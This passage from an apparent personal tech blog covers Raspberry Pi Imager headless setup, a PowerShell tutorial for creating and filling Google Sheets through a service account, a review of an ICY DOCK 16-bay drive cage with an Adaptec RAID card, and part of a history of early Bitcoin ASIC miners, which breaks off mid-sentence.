settingsChanging Boot ModeWriting ImageConclusionOther Resources Supported Pis Raspberry Pi 4 The Raspberry Pi 4 is available in different memory configurations all the way up to 8 GB. It’s about the size of a credit card and uses an extremely low amount of power making it ideal for all sorts of projects and ideas! Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon*.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Raspberry Pi 400 Kit The Raspberry Pi 400 kit includes everything you need for a full Pi 400 desktop build. The Pi 400 is the fastest Raspberry Pi ever released and comes in the form factor of a keyboard! Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Raspberry Pi Compute Module 4 – Base Board The Compute Module 4 by the Raspberry Pi Foundation is a single-board computer (SBC) that is meant to be used in embedded devices. It has many new capabilities that have not been seen on other Pis before such as a built in eMMC module (optional) and has PCI express capabilities when used with the IO board. Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Headless Options Menu Raspberry Pi Imager – Headless Configuration Menu If you’ve ever done headless configuration of a Raspberry Pi using the old text file method you can immediately appreciate this options menu and how difficult it would be to recreate some of these options via text files. Let’s cover the different options briefly. Set hostname This will set the hostname of the Raspberry Pi. This is what your network equipment / router will see your Raspberry Pi as typically. It’s extremely useful to set this if you are configuring multiple headless Pis on the same network. Enable SSH This is the classic option that most people will be familiar with creating text configuration files for. The nice thing about the Pi Imager menu is that instead of just creating a blank “ssh” file and enabling password login you can actually use an authorized key file for key-based SSH authentication (more secure). Set username and password This is a very useful option that lets you preconfigure the Pi’s default account username and password. You definitely want to do this to get ssh working without fighting with the default passwords (which have been removed in modern versions of Raspberry Pi OS). Configure Wireless LAN This is probably the next most popular headless configuration option after enabling SSH. You can still do this with text files but it’s much easier to configure this in the Pi Imager. You can see in the screenshot that it already prepopulated my SSID for me based on the network I was connected to. This also has the wireless LAN country option. This is very important to choose especially for 5G WiFi as if you have the wrong country selected your 5G radio will not work and this is a very common misconfiguration on the Pi! Set Locale Settings This is a great quality of life option. If you’ve been using a Raspberry Pi for an extended period of time you are probably used to it always being set to en-GB as the default language. It’s very nice to be able to preconfigure the right locale right in the image! Persistent Settings The first two settings here are pretty unremarkable and only relate to the Pi Imager playing a sound when the image is done writing and whether to eject the media automatically when finished. The second setting is a bit more interesting. This enables telemetry. To explain what this is it’s basically only telemetry of how you use the Raspberry Pi Imager utility. It will send anonymous info about what image you tried to burn and whether it was successful. This will send the name and category of the image written as well as information about the host computer running the Pi Imager to the Raspberry Pi Foundation to improve the imaging experience. You may disable this option if you do not want to share this data. How to access headless settings In previous versions of the Raspberry Pi imager you had to hit Ctrl+Shift+Enter to bring up the “Advanced options” menu. This still works but there’s an easier way to access the menu now without remembering hidden key combinations. First select an operating system from the “Operating System” menu. Raspberry Pi Imager – OS Menu Now once you’ve selected an OS provided you picked one that supports headless configuration (Raspberry Pi OS and Ubuntu Server gave me the Advanced options menu) it will appear in the bottom right of the screen like this: Raspberry Pi Imager – Advanced / Headless Menu Location Not all of them will work with the headless options at time of writing but Ubuntu and Raspberry Pi OS both show the advanced options gear/menu. If you are having any trouble finding the options I describe make sure you’re running the latest version of the Pi Imager as many of these features are new. Changing Boot Mode The Pi Imager can also create an image that will change your Pi’s primary boot mode. This is useful if you have multiple storage devices and want to specify which one to boot from. It can also speed up the boot process if the Pi doesn’t have to check other devices that aren’t present and fail and instead goes right to the correct one. To do this you actually select a special image from the “Operating System” menu (this is the first step on the main menu with the button “Choose OS”). Scroll down to “Misc Utility Images” on the Operating Systems menu and choose “Bootloader”. This will take you to this screen where you can select the boot mode you want the image to apply: Raspberry Pi Imager – Change OS Boot Selection This will basically create a special SD card or image that will change the boot mode of the Pi. That’s basically all it does. You can simply reimage it again with something else when you’re done or if you have a lot of spare SD cards or other Pis to do it’s definitely handy to keep one around! Writing Image Once you’ve configured the options you’d like you simply write the image. All of your settings will be included in the image automatically! If you would like to include these settings on multiple images change the option at the top of the screen from “for this session only” to “always use”. Conclusion I never really use the “old way” to headlessly configure Raspberry Pis anymore because it’s so much faster and more convenient to use the new Raspberry Pi imager features. I also find myself using features that while I technically knew how to do via text were such a pain that I would just set up SSH and do them later. I’ve improved my workflows quite a bit switching to the Pi Imager and saving these additional steps. Some of you may be on operating systems that don’t support this yet and have to fall back to text but for Ubuntu and Raspberry Pi OS (both the 32 and 64 bit flavors) this is already supported and available! Other Resources For the best SSDs to use on the Pi check out my 2022 Raspberry Pi storage benchmarks For tips on where to get Raspberry Pis during the shortage check out my Raspberry Pi Shortage Survival Guide If you are looking to update / restore your bootloader or firmware check out my Raspberry Pi Firmware Update / Recovery Guide I’ve also compiled a list of the best SSDs and storage adapters to use with the Raspberry Pi To learn how to set up the Pi for SSD booting check out my new Raspberry Pi bootloader SSD boot guide #### Modify Google Sheets (API) Using PowerShell / Uploading CSV Files PowerShell Generated Google Sheet I recently had a need to interact with a Google Sheets spreadsheet and it turned out to be pretty easy and worked very well! I wanted to write this post to share what I learned and hopefully it can help some others out there. In this guide we’ll explore how to create a Google API key then and use PowerShell to create a new spreadsheets and upload a CSV file into Google Sheets. Table of Contents Toggle Acquiring Google Sheets APIEnable Google Drive APICreating a Service AccountCreate Service Account Access Key/CertificateInstall UMN-Google PowerShell ModuleGetting Authorization TokenCreate New Google SheetSetting Google Sheet PermissionsUploading a CSV File to Google SheetsWrapping UpInternational Language Fix (Required for computers not set to “English” as the default language) Acquiring Google Sheets API First head to the official Google Developers Console. If you have never used the Google API before go ahead and create a new project. I called mine Scripts-jamesachambers. After creating a project it should take you to the main dashboard. From here we are going to click “ENABLE APIS AND SERVICES” at the top of the page. It looks like this: Google Sheets Dashboard – Enable APIs and Services This will bring up a page showing all the different Google APIs available. From here we are going to scroll down to the G-Suite section and click on “Google Sheets” and then choose the “Enable” button. Google Developer Console – Add API Menu Google Sheets – API Enable Button Enable Google Drive API Now enable the Google Drive API using the exact same steps. This will be needed for some access/permission controls later. To enable the Google Drive API follow the same steps we did in the “Acquiring Google Sheets API” but choose “Google Drive” from the G-Suite options instead. Creating a Service Account There is a lot of security built into Google’s APIs. Some types of them require user consent but can access private user data. The kind of account we want to create to work with Google Sheets using scripts is a service account. This type of account uses a certificate to validate your identity instead of a username/password. It is able to create new spreadsheets and give permissions for others to view them without requiring user consent since the service account will own the spreadsheet sidestepping the private user data issue. It is also able to update these sheets right from PowerShell! When you clicked the “Enable” button it should have taken you into the “Google Sheets API Console” but sometimes I’ve noticed the button just turns into “Manage”. Click Manage of you aren’t already in the Google Sheets developer console. You should be at a screen that looks like this: Google Sheets API – Credentials Tab Choose the “Credentials” tab on the left hand of the screen as shown above and click “Create Credentials” and choose the “Service Account” option. Choose a name for your account. You can set an optional description here as well if you would like. Click the “Create” button and it will take you to the next screen. Google Sheets API – Service Account Roles Give your service account the “Project” – “Owner” role. This will give your service account full access to all resources in the project you created. You can create finer grained permissions if desired but the service account is only going to have access to the project you created so it should be safe unless you have other resources in the project. Press the button again and leave the final screen on the defaults. Your service account is now created! Create Service Account Access Key/Certificate Now that we have created our service account we need to create an access key and download the certificate for it. At the official Google Developers Console dashboard choose the “Service Accounts” tab from the left side of the screen and then click on the new service account you created: Google API Service Accounts Menu Make a note or copy of your service account’s email address listed here. This will be the $iss credential we’ll be using in PowerShell to authenticate with Google very shortly. At the bottom of your “Service account details” page will be an option to add keys. Click the “Add Key” button and choose “Create new key” as shown here: Google API Service Account Details – Create New Key Choose the “P12” format: Google Service Account – Create P12 Key Press “Create”: Google Service Account – Private Key Download A download dialog will pop up and the screen above will be displayed. This is your certificate file your scripts will use to access Google Sheets. Warning: This is the only time Google will give you this key. If you lose it you cannot recover it or redownload it and have to create a new key and update all your scripts that use that key accordingly. Make sure you have this key backed up! Once you have safely backed up this key we are all done with configuration and it’s time to head to PowerShell! Install UMN-Google PowerShell Module We are going to use the UMN-Google PowerShell module to be able to communicate with Google Sheet’s API. You will want to install this module on any machine you will be running scripts. Open PowerShell and type: Install-Module UMN-Google This PowerShell module is developed and maintained by the University of Minnesota. You can see more information at the PowerShell Gallery here: The UMN-Google PowerShellGallery Repository Getting Authorization Token This block will appear at the top of your scripts. It will use our service account certificate to get an authorization code from Google. Create a new PowerShell .ps1 file with the editor of your choice. Copy and paste the code block below: Import-Module UMN-Google # Set security protocol to TLS 1.2 to avoid TLS errors [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 # Google API Authozation $scope = "https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.file" $certPath = "C:/Users/james/Desktop/PowerShell/jamesachambers-1551564735346.p12" $iss = 'scripts@jamesachambers-1551564735346.iam.gserviceaccount.com' $certPswd = 'notasecret' try { $accessToken = Get-GOAuthTokenService -scope $scope -certPath $certPath -certPswd $certPswd -iss $iss } catch { $err = $_.Exception $err | Select-Object -Property * "Response: " $err.Response } $accessToken Modify the values below to match your certificate file you downloaded in the previous step and your $iss (service account email address) information that we made a note of/copied earlier. The 2 lines you need to change to your own values are listed in bold. I recommend fully qualifying the path to your certificate file to avoid working path problems (especially when doing background/automation scheduled tasks). Make sure you remember to copy the certificate from your downloads folder to the location where you created your PowerShell .ps1 file and that you change the path to yours. After you have modified the values run the script to make sure you don’t receive any errors. If everything ran successfully you will see a valid Google API authorization token! It should look like this: PowerShell – Google API Authorization Test If your screen shows a long string of numbers/letters/symbols and does not give an error then congratulations, you’ve completed your API key setup successfully! If you received an error double check that you copied the certificate and gave the right path and run through the earlier steps quickly and verify everything looks correct. Create New Google Sheet Now that you have working authentication it’s time for the fun part! Now we get to start creating/modifying Google Sheet documents. Let’s create a new sheet and display the spreadsheet ID. Add the following commands to the end of your .ps1 file with the title of your choice: # Create new spreadsheet $Title = 'Patching Spreadsheet' $SpreadsheetID = (New-GSheetSpreadSheet -accessToken $accessToken -title $Title).spreadsheetId $SpreadsheetID # Create new sheet $Sheet = 'Computers' Add-GSheetSheet -accessToken $accessToken -sheetName $Sheet -spreadSheetID $SpreadsheetID Now run your .ps1 file again: PowerShell – Google Sheets New Spreadsheet The first line is your access token again, but the second line is the new spreadsheet ID! To access this spreadsheet you append the spreadsheet ID on the end of the following base URL: https://docs.google.com/spreadsheets/d/ So for example, to access the spreadsheet I just created in this example go to https://docs.google.com/spreadsheets/d/1anI7Bdr0ZjkSDwMbGpCb0KZc1SpSC-3JdQiycvoM5CM/ However, when you go to the URL you will see: Google Sheets – You Need Access This is because by default these sheets are private. We need to set the permissions for other people to be able to access our new sheet! Setting Google Sheet Permissions Let’s start by adding individual users. Comment out the lines that create a new spreadsheet and sheet and add the following lines to the end of the file: $SpreadsheetID = '1anI7Bdr0ZjkSDwMbGpCb0KZc1SpSC-3JdQiycvoM5CM' Set-GFilePermissions -accessToken $accessToken -fileID $SpreadsheetID -role writer -type user -emailAddress 'youremail@yourdomain.com' Change the $SpreadsheetID to the ID you received in the last step and the email to match your own personal email address. This will add “writer” permissions to your account to the spreadsheet. The bolded lines are things you need to adjust. The final result should look like this: Import-Module UMN-Google # Set security protocol to TLS 1.2 to avoid TLS errors [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 # Google API Authozation $scope = "https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.file" $certPath = "C:/Users/james/Desktop/PowerShell/yourcertificate.p12" $iss = 'scripts@jamesachambers-1551564735346.iam.gserviceaccount.com' $certPswd = 'notasecret' try { $accessToken = Get-GOAuthTokenService -scope $scope -certPath $certPath -certPswd $certPswd -iss $iss } catch { $err = $_.Exception $err | Select-Object -Property * "Response: " $err.Response } $SpreadsheetID = '1anI7Bdr0ZjkSDwMbGpCb0KZc1SpSC-3JdQiycvoM5CM' Set-GFilePermissions -accessToken $accessToken -fileID $SpreadsheetID -role writer -type user -emailAddress 'youremail@yourdomain.com' Now run the script. If you received the following error: Invoke-RestMethod : The remote server returned an error: (403) Forbidden. It means you very likely did not enable the “Google Drive” API. Go back to the “Enable Google Drive API” step from earlier and double check that the Google Drive API got enabled! Now go back to your browser and refresh the “Access Denied” page. You should now see the blank spreadsheet! Uploading a CSV File to Google Sheets Now that you’ve set up your Google Sheets API keys and environment we are ready to modify new Google Sheets! If you already have a CSV file to upload you can use that, otherwise let’s create a quick testing CSV. Open Notepad or your favorite editor up to a new document and paste the following text: Computer,"Operating System",RAM "iMac 27""",OSX,"16 GB" "HP ZBook 15""",Windows 10,"16 GB" Now save the document as test.csv in the same directory you have our “Setting Google Sheets Permissions” PowerShell script from the last step. Remove or comment out the very last Set-GFilePermissions line of the script. Google Sheets expects an ArrayList of values to upload to Google Sheets. We are going to load our test CSV and convert it to an ArrayList and submit the data to Google Sheets with the following code: # Import CSV $import = New-Object System.Collections.ArrayList($null) # Build sheet header as it isn't included automatically $import.Add( @("Computer", "Operating System", "RAM")) | Out-Null # Build ArrayList $inputCsv = Import-Csv "test.csv" $inputCsv | ForEach-Object { $import.Add( @($_.Computer, $_."Operating System", $_.RAM)) | Out-Null } # Upload CSV data to Google Sheets with Set-GSheetData try { Set-GSheetData -accessToken $accessToken -rangeA1 "A1:C$($import.Count)" -sheetName "Computers" -spreadSheetID $SpreadsheetID -values $import -Debug -Verbose } catch { $err = $_.Exception $err | Select-Object -Property * "Response: " $err.Response } This code loads the CSV into a variable called $inputCsv and then iterates through each object and adds it to the ArrayList we are going to send to Google Sheets. If you wanted to modify the data before sending it you absolutely can. Once the CSV is imported you will have an object array and the names of the variables will be the name of the header of that column. You have to be careful if it has a quote in it. You can still access them by quoting the variable. For example: $_."Operating System" This will allow you to access the variables even if there are spaces in the column’s header. The actual first line of the CSV with the headers in it is consumed by PowerShell when you import it so we also create our own header line for our spreadsheet. Your final code should look like this: Import-Module UMN-Google # Set security protocol to TLS 1.2 to avoid TLS errors [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 # Google API Authozation $scope = "https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.file" $certPath = "C:/Users/james/Desktop/PowerShell/yourcertificate.p12" $iss = 'scripts@jamesachambers-1551564735346.iam.gserviceaccount.com' $certPswd = 'notasecret' try { $accessToken = Get-GOAuthTokenService -scope $scope -certPath $certPath -certPswd $certPswd -iss $iss } catch { $err = $_.Exception $err | Select-Object -Property * "Response: " $err.Response } # Spreadsheet ID # of the Google Sheet $SpreadsheetID = '1anI7Bdr0ZjkSDwMbGpCb0KZc1SpSC-3JdQiycvoM5CM' # Import CSV and build ArrayList $import = New-Object System.Collections.ArrayList($null) $inputCsv = Import-Csv "test.csv" $inputCsv | ForEach-Object { $import.Add( @($_.Computer, $_.'Operating System', $_.RAM)) | Out-Null } # Build sheet header as it isn't included automatically $import.Add( @("Computer", "Operating System", "RAM")) | Out-Null # Build ArrayList # Upload CSV data to Google Sheets with Set-GSheetData try { Set-GSheetData -accessToken $accessToken -rangeA1 "A1:C$($import.Count)" -sheetName "Computers" -spreadSheetID $SpreadsheetID -values $import -Debug -Verbose } catch { $err = $_.Exception $err | Select-Object -Property * "Response: " $err.Response } Now we’re ready to run the code. Execute your script in PowerShell: PowerShell – Test of uploading CSV to Google Sheets If everything was set up you should immediately see the changes in your browser window and it should look like this: Patching Test Spreadsheet Wrapping Up That’s it! You’ve now set up your Google API console access and can now modify Google Sheets through the power of PowerShell automation. Make sure you check out the University of Minnesota’s GitHub repository to see any new changes or announcements related to the PowerShell extension. It is open source! International Language Fix (Required for computers not set to “English” as the default language) Once this post started gaining some traction I learned that international users (specifically ones that didn’t have “English” set as their default language) were having trouble with authentication. I suspected this was due to language differences because I’ve encountered it before on some of my other scripts (like my Minecraft Bedrock dedicated server setup script) that gained international traction as well and once we tested for it sure enough that was the issue. Yoan graciously shared the solution in the comments: Function Using-Culture ( [System.Globalization.CultureInfo]$culture = (throw "USAGE: Using-Culture -Culture culture -Script {scriptblock}"), [ScriptBlock]$script= (throw "USAGE: Using-Culture -Culture culture -Script {scriptblock}")) { $OldCulture = [System.Threading.Thread]::CurrentThread.CurrentCulture trap { [System.Threading.Thread]::CurrentThread.CurrentCulture = $OldCulture } [System.Threading.Thread]::CurrentThread.CurrentCulture = $culture Invoke-Command $script [System.Threading.Thread]::CurrentThread.CurrentCulture = $OldCulture } This was found at Microsoft Developer Blogs – Using Culture Culture ScriptBlock and the blog post contains a ton of information about how to use it and what it’s doing! In a nutshell it lets you wrap your calls to UMN-Google (or your entire script if you wanted) like this: Using-Culture en-US {$accessToken = Get-GOAuthTokenService -scope $scope -certPath $certPath -certPswd $certPswd -iss $iss} This is a really easy way to wrap your functions if you are getting errors related to language differences / default headers / etc. and is definitely worth a try if your PC’s default language is not set to English! #### Monster 16 Bay Hot-Swappable 2.5″ SATA Cage – ICY DOCK ICY DOCK 16 Bay SAS/SATA Backplane Cage I have a *lot* of 2.5″ SATA drives around the house that have collected from over the years from various devices. Often these drives have useful data on them or aren’t big enough to justify using on their own. The absolutely monstrous ICY DOCK 16 bay 2.5″ SAS/SATA backplane cage solves all of these problems and lets you hot swap (change out the drives while the OS is running) drives live in your OS! In this guide I’ll cover how what I needed to actually set up something like this and my advice for people who are interested in these same type of hot swappable / RAID capabilities. I’ll also share the “sweet spot” recommendation to get the most bays for the least money if you’re on a tight budget. Let’s get started! Table of Contents Toggle Hardware UsedAlternative 8 Bay OptionOverviewRAID Card RequirementsAdaptec RAID Configuration (MaxView Storage Manager)Conclusion Hardware Used ICY DOCK Full Metal 16 Bay 2.5” SAS/SATA SSD/HDD Backplane Cage The ICY DOCK MB516SP-B 16 bay enclosure is an absolute monster hot swappable drive cage w/ backplane. Fits 16 x 5-7mm 2.5” SATA/SAS drives. Can be used in a RAID configuration or as 16 standalone drives. It can be mounted in 2 5.25″ drive bays (common in larger desktops to have several of these slots, usually not used with a blank faceplate over it) or you can just use it right on the bench like I am. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Adaptec 71605 4x mini-SAS RAID Storage Controller The Adaptec 71605 RAID Storage Controller has a whopping 4 SFF-8643 mini-SAS connectors which is how many we need to handle the 16 bay cage (1 connector per 4 drives, so 4 connectors total for 16 drives). Supports RAID 0/1/1E/5/6/10/50/60. Expensive compared to 2 connector cards, but cheap compared to other 4 connector cards. Plug and play with Windows 10 and compatible with Linux as well! Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Mini SAS SFF-8643 to SFF-8643 Cable Internal Mini SAS HD Cable SFF-8643 to SFF-8643 (3.3ft extended length) to make it much easier to work with in towers and on the bench. Cables are not included with the cage so keep that in mind if you don’t have any! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Alternative 8 Bay Option ICY DOCK Full Metal 8 Bay 2.5” SAS/SATA SSD/HDD Backplane Cage The ICY DOCK MB998IP-B 8 bay enclosure brings the mounting space requirement down to a single 5.25″ bay. It also brings your RAID / mini-SAS card down dramatically as well. This is the option most people that want a hot swappable bay setup like this should get unless they know for sure that 8 bays won’t be enough! More widely available than the 16 bay version. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Adaptec 7805 2x mini-SAS RAID Storage Controller The Adaptec 7805 is the 2 port version of 71605 from the “Series 7” family. Featuring 2x SFF-8643 mini-SAS connectors. This is 1 connector per 4 drives so 2 for the 8 bay version. Supports RAID 0/1/1E/5/6/10/50/60. It is about a third of the price of the 4 port version so it’s dramatically cheaper to use this card with an 8 bay cage. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Overview The ICY DOCK lets you access 16 drives independently or in a RAID configuration. This is awesome because that means depending on your needs you will actually have 16 additional drives in Windows/Linux with this enclosure connected! The trays fit 2.5″ SSDs and HDDs from 5mm-7mm in length. This is typically the size of a laptop drive but most standard size SSDs will be the 2.5″ laptop form factor (will fit the trays). I do have some older HDDs that came in desktops and are actually taller than 7mm and won’t fit but they are very old and not incredibly common anymore. Here’s a shot of the hot swappable tray system in action: ICY DOCK Hot Swappable Trays You can press the lever/button on the left to eject the drives. The trays are easily attached with 4 standard screws: ICY DOCK Tray – Bottom Shot w/ 4 Screws Every 4 drives requires a SATA power connector and a SFF-8643 mini-SAS connector. That means for the 16 bay version 4 mini-SAS connections are required. The rear data connections look like this: ICY DOCK Rear Data Connections The SATA power connections are the standard SATA power connections from your power supply. I was able to connect all 4 slots with just one connection to my modular power supply (1 connection to the PSU yields 4 SATA power connectors). Here’s the SATA power connections: ICY DOCK Rear SATA Power Connections Notice that there is also a fan. This comes preinstalled and actually has a control switch you can see in the above screenshot right below the 2nd SATA power connector from the top with a “H” setting for high and “L” for low. This is great because 16 drives operating at once can generate a lot of heat which can cause failures. The fan keeps air moving across the drives pulling heat off them via the air. RAID Card Requirements For every 4 drives you have you need one SFF-8643 connection. That means that the 16 bay version has 4 connectors and the 8 bay version has 2 connectors. This makes a huge impact on how expensive the RAID card you are going to need will be. A 2 connector RAID card typically costs less than $100 whereas a 4 connector card will typically be 2-3x that or more. The Adaptec is a long trusted line of RAID cards that are relatively inexpensive. They have plug and play support with Windows / Linux. There are additional configuration utilities you can use to utilize the hardware RAID capabilities on the card or can also control it through software (Disk Management on Windows). Hardware RAID is recommended because it’s way faster than emulating it using software! Adaptec RAID Configuration (MaxView Storage Manager) Here’s what the RAID card looks like in the motherboard: Adaptec RAID Card 4x mini-SAS Adaptec RAID Card 4x mini-SAS Vertical It’s pretty straight forward to connect all these. The only tricky part is getting the Adaptec software. Grab the software from: the official Adaptec Storage Manager web site. Look for “Storage Manager” and then you should see a “Storage Manager Downloads”. This will let you download the MaxView storage manager. Choose the version that matches your OS. For example for Windows you’d grab: maxView Storage Manager v2.05.22932 for 64-bit Windows Install the utility with default settings. Once it’s finished if you’re on Windows you should see a desktop shortcut for “maxView Storage Manager”. If you’re not on Windows it doesn’t matter, because all the shortcut does is launch your web browser to the storage service running on your computer at http://localhost:8443/maxview/manager/ Maxview Storage Manager – Login Page The default credentials will be your Windows / Linux local account credentials. If you are joined to a domain on Windows you will need to use the machine’s local administrator account. Go ahead and sign in. Once you sign in you will be able to configure your arrays and settings: MaxView Storage Manager – Logged In From this point configuration is pretty straightforward. Assign RAID arrays (if desired) and choose their type. Enable or disable write caching. The unit does come with a battery backup so it’s safe to turn on the fastest type of caching available since if the power is cut to the machine the battery backup will prevent you from losing any data. Conclusion The 16 bay enclosure is awesome but it requires a total of 2 5.25″ bays but requires a very expensive RAID card (4 SFF-8643 mini-SAS connectors doesn’t come cheap). My recommendation for everyone else would be to get the 8 bay version. That version takes a relatively inexpensive RAID card and still gives you a massive amount of bays. It also is more likely to fit in your setup since it only requires a single 5.25″ bay and 2 SATA power connectors. It’s a major quality of life improvement for technicians / enthusiasts / developers who are working with a lot of drives. It’s very nice to be able to hot swap drives and be able to have them immediately be recognized by your OS! It’s also a great way to make use of old storage devices laying around if you have a bunch of old 2.5″ drives like me! It’s pretty expensive for CHIA mining so unless you have some really high capacity drives this is probably better for techs / devs / power users than cryptocurrency miners. It’s rugged and made out of steel and the quality / performance have both been great. If you are in need of a device like this I would recommend this setup with an 8 bay for most people and a 16 bay for extreme cases! #### My Early Bitcoin ASIC Miners (2013-2014) – Pictures / History The most competitive Bitcoin mining operations today consist of entire warehouses of large ASIC miners usually located near sources of renewable energy or power plants selling off excess energy production for cheap. To get seriously involved in the Bitcoin mining space of today will require you to already be quite wealthy and to put up some *serious* cash. But things were not always this way. I found a bunch of pictures in my photo library of my old mining rigs back from the dawn of Bitcoin ASIC mining and wanted to share them. Let’s go on a journey together back to the year of 2013 and explore what old school Bitcoin mining ASIC hardware looked like, how much it cost, and what we can learn from them today! Table of Contents Toggle ASICMiner Block Erupter USB Sapphire MinerThe Red / Blue / Ice Fury ASICEarly ASIC Setups With USB Hubs/FansGridseed Scrypt Mining ASICASICMiner Block Erupter CubeAntMiner S1ConclusionOther Resources ASICMiner Block Erupter USB Sapphire Miner BlockErupter ASIC Miner Our journey begins with the ASICMiner Block Erupter Sapphire miner. Although this wasn’t the first ever Bitcoin ASIC introduced it was the first one that wasn’t nearly impossible to get your hands on. This miner was powered by the BE100 chipset (ASICMiner’s first generation 1 chip). The mining speed of the miner was 330 MH/s. Up until this point the Bitcoin ASIC market was filled with essentially scams. Butterfly Labs is an infamous example of this. They sold tens of thousands of preorders for a miner they hadn’t produced yet and strung people along for essentially years. They were finally shut down by the FTC in 2014. In contrast to these previous offerings ASICMiner pushed enough real hardware in the market that ordinary people were able to obtain them for a reasonable price. How reasonable you ask? I dug through my old Gmail receipts to find this: It looks like I was able to get them for about $13 a piece. This ended up being a real bargain as the demand for them skyrocketed as mining success stories started to come in. Once I started mining with Red Furies I sold these in December 2013 for $40 each or about $400 total after mining with them for a few months. This successful mining then flipping would set me up for trouble later (especially with the Gridseeds and the Cubes). The Red / Blue / Ice Fury ASIC Red Fury ASIC Miner The Red Fury was the first batch of the Fury line and it came with a beautiful full size red heatsink. It was made by a company called the “Big Picture Mining Company”. The chip inside this was called the “BitFury” chip (thus the name). The BitFury chip would also be used in other ASICs including non-USB type ASICs. At more than 10x the hash speed of a Block Erupter these were in very high demand and sold out very quickly. They cost about $100 a piece so they were not cheap compared to the Block Erupters. However since one of these had the power of 8 Block Erupters the price still seemed worth it at the time. Blue Fury ASIC 2.6 GH/s The next batch of the Fury miner was called the Blue Fury. Instead of having the beautiful full red heatsink like the red furies it had a half heatsink in plain black. These didn’t look nearly as cool and definitely were built in mind with lowering their manufacturing cost. Ice Fury ASIC 2.9 GH/s After the Blue Fury batches there were several other color variations made. I got a hold of a few Ice Furies which looked extremely cool with their shiny metal heatsink on a white PCB. The Fury era was a good time for my mining as the giant mining whales had not come in yet and I was fairly competitive with this setup. I was also able to sell these at a profit in January of 2014 selling each Fury for $109 each due to ever increasing demand for ASIC miners. Early ASIC Setups With USB Hubs/Fans As more and more USB ASICs were acquired by early miners it quickly became impractical to plug them all into a PC. The miners also got very hot (hot enough to burn you in some cases) as these early USB miners only had a heatsink with no airflow. Thus the now legendary Raspberry Pi USB Hub ASIC Miner setup was born. Block Erupter ASIC setup This is my very first early Bitcoin mining ASIC hub setup. On the far left you can see an original Raspberry Pi generation 1 Model B. This was actually the very first Raspberry Pi I ever got and it was to run these miners! The Raspberry Pi acts as our PC so I was able to set up the mining rig out of the way and behind my TV in my living room. The left and center powered USB 2.0 hubs are running Block Erupters exclusively. The right USB hub has my original 2 Red Furies in it. The total hashing power of this setup was about 8.5 GH/sec. This was a very respectable amount of hashing power at the time. Block Erupter + Blue / Red Fury ASIC Setup This setup has had 5 Blue Furies added to the original setup for another +13 GH/s bringing the total up to around 21.5 GH/s. I was also getting a little fancy here and stacking the hubs together so the setup was more compact. Despite the impressive hash increase it would not last long as the next generation of miners were starting to hit the market. These miners were much more powerful and no longer relied on USB to power them which would bring an end to the USB hub/fan style of miners. Technology in the mining world was moving extremely quickly. I only had a setup like this for around 3 months before it was obsolete and time to upgrade! Gridseed Scrypt Mining ASIC The popularity of mining with ASICs had exploded at this point. Bitcoin’s difficulty was increasing exponentially and mining was getting more and more competitive. At the time it felt like if you weren’t already invested that you had missed the boat on Bitcoin ASIC mining. That’s why when Gridseed announced the first Scrypt ASIC (Litecoin being the primary one of interest) many miners were very interested in being the first generation of Scrypt ASIC miners and getting in at the ground level. The Gridseed actually had a dual mining mode so it could mine both Scrypt and Bitcoin at the same time. The downside is that in dual mining mode both modes were a little bit slower so most people (myself included) ran these in Scrypt only mode since the Bitcoin hashing speed was already relatively insignificant at this point while the Scrypt speed was quite valuable. The cost of these miners in March of 2014 was a little bit over $200 each although they would drop dramatically in price before too long. Scrypt ASIC Setup Gridseed ASIC Operating Modes: Scrypt mining: 360 KH/s @ 7 – 8 Watts SHA-256 mining: 11.25 GH/s @ 60 Watts Dual Scrypt and SHA-256 mining: 300 KHs Scrypt & 8 GHs SHA256 @ 60W There were two ways to power the Gridseed miners. You could either use a normal barrel AC connections (took up one AC plug for each miner) or this super sketchy “official” power supply. The power supply came with exposed wire barrel connections that you would clamp a screw down over as seen in the picture. The power supply was supposedly more efficient than individual connections but the reason I chose it was that I didn’t want a whole power strip full of individual AC adapters for each one of these miners. I personally didn’t burn down my building with these but I’m sure somebody did! Scrypt ASIC Setup 2 I later added two more Gridseed miners onto the setup for a total of 4 bringing my Scrypt hashing power to a respectable 1600 KH/s after overclocking the Gridseeds to 400 KH/s each. Unfortunately these ended up being a very poor investment as the pace of mining hardware had greatly accelerated 